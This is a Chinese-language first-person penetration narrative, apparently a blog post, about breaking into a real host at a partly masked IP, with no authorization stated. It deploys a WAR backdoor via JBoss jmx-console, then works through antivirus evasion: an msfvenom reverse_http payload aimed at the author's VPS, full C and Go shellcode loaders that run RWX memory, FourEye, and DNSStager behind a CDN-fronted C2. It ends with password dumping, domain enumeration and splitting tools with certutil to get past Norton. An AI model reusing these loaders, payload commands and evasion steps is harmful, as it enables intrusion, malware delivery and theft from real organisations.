目录导航
一、外围入手
拿到ip后先信息收集，扫描端口：
8087开放，访问：
用脚本试试POST：
暂且不管，试试8082：发现
jboss，一般可先尝试弱口令后台部署war包，后门文件进行压缩，改名为“.war”：
试试jmx-console
使用未授权Deploy漏洞：访问
asp http://150.*.*.*:8082/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admi分别在store后面参数处填写后门war文件名，文件夹名称，后门文件后缀和后门文件内容：
点击invoke，访问：
二、初步控制
为空白说明后门文件解析成功，使用蚁剑连接：
信息收集一波，ip配置发现存在域：
当前用户发现为“.p”结尾，按国外的命名习惯，一半是组长或者经理级别：
查看进程有无杀毒，使用tasklist然后进行对比：http://www.ddosi.org/av/1.php
发现安装有赛门铁克公司的诺顿和飞塔
看来这次棘手了，接下来试试各种免杀手段上线cs。
三：绕过杀软(免杀)
3.1 base64加密shellcode加载
参考Tide安全团队的免杀系列，使用base64生成：
msfvenom -p windows/meterpreter/reverse_http --encrypt base64 lhost=1*.1*.7*.3 lport=800 -f c > shell.c然后在cs开启监听（...为你vps地址）：
注意：这里msfconsole唯有windows/meterpreter/reverse_http和windows/meterpreter/reverse_https是对应cs监听器兼容的，
区别在于：cs自生成后门首次请求stager连接字符较短，一般为四个字符，如“/t1ny”,msf payload的为很长的字符，但上线不影响。
生成base64加密shellcode后，使用解密加载器：shellcode.c：
#include "base64.h"
unsigned char buf[] ="..你的shellcode";
int main(int argc, const char * argv[]) {
char str1[1000] = { 0 };
Base64decode(str1, buf);
char *Memory;
Memory = VirtualAlloc(NULL, sizeof(str1), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, str1, sizeof(str1));
((void(*)())Memory)();
return 0;
}base64.c和base64.h可在tide公众号内容中找到，这里暂不列出。
最后gcc shellcode.c base64.c -o test.exe编译，上传：执行即可。
刷新查看直接没了~，没错，诺顿就是这么强。
3.2 go语言加密shellcode执行
好吧，吸取上次直接消失的教训，本地搭建环境进行测试，这次试试go语言的shellcode混淆;
使用cs生成c语言的payload：
得到：
使用替换功能，将“\”换为：“,0”：
最后替换加载器中shellcode_buf = []byte部分内容：
package main
import (
"io/ioutil"
"os"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
shellcode_buf = []byte{0xfc, 0x48, ----shellcode----, 0xd5}
)
func checkErr(err error) {
if err != nil {
if err.Error() != "The operation completed successfully." {
println(err.Error())
os.Exit(1)
}
}
}
func main() {
shellcode := shellcode_buf
if len(os.Args) > 1 {
shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
checkErr(err)
shellcode = shellcodeFileData
}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if addr == 0 {
checkErr(err)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
checkErr(err)
syscall.Syscall(addr, 0, 0, 0, 0)
}最后在linux环境安装go语言环境，使用命令“CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build shellcode.go”编译。
最后上传，发现文件未被删除：
小心翼翼地去执行一下：
没想到文件本身过了查杀，却被杀毒软件拦截了访问行为：
本地允许后：
国外的av和国内的av就是不一样，拦截规则卡的是真的死死的。
3.3 FourEye免杀
再试试比较不错的FourEye ：
地址为：https://github.com/lengjibo/FourEye
使用cs生成raw格式payload后放到linux：
得到exe上传，执行：
发现cs端有stager请求记录，说明已经下载了stager，可以根据stager内容进行执行了。但看本地环境发现依然拦截了后续请求：
说明加密执行后门本身没问题了，只是c2 server端可信程度不够，还可试试申请可信域名+c2可信证书+https加密上线了。
3.4 DNStager分离免杀
参考文章《实战填坑|CS使用CDN隐藏C2》：
去申请了域名，部署了cdn，重新尝试go加密shellcode和FourEYe之后依然拦截通信请求行为。
最后参考《DNSStager-DNS分离shellcode》：
终于成功获取了shell。
首先安装ming-w64，将CDN服务端解析的NS记录添加一个test.*.tk:
最后在vps处执行：
python3 dnsstager.py --domain test.*.tk --payload x64/c/ipv6 --output /home/a2.exe --prefix cdn- --shellcode_path /home/DNSStager/payload.bin --sleep 1 --xorkey 0x10
终于可以喘口气，拿下了。
四：简单后渗透
4.1 内网信息收集
cs的自带功能，抓取密码：
查看进程列表，发现其余进程均为低权限和system进程，说明无其他用户在此登录。
既然有域，那就进行一下域内信息收集，发现好像有各种限制:
查看域控制器：
net group "domain controllers" /domain
net group “domain admins” /domain 也是如此：
4.2 横向渗透尝试
既然本机无其余用户信息，避免动静过大，就不再尝试提权至system了（主要杀软太牛逼），直接上传frp横向信息收集丫的：
我滴天？竟然上传失败？猜测是因为使用了CDN+诺顿检测请求太高的数据包，造成回传数据失败。那就换个思路，既然10M体量有问题，就拆分一半，最后再合并，同时避免后缀内容检测问题，先使用certutil编码一下frpc.exe为txt：
好家伙，10M直接干到14M，行，问题不大，中间拆分，各自一半：
最后的思路是分别本地解码为exe后：
certutil -decode 1.txt 1.exe
certutil -decode 2.txt 2.exe
最后本地进行校验，查看文件是否完整：
certutil –hashfile 3.exe MD5
是一致的没错，实战环境上传txt：
解码：
我要抓狂了，竟然不能执行程序，好的吧，毕竟已经收获了很多，后续域渗透留待步下一步进行。
最后整理并总结完成后发现jboss业务已经关闭，下一步的思路使用regorge代理暂时也不可行，只能暂时先放下了。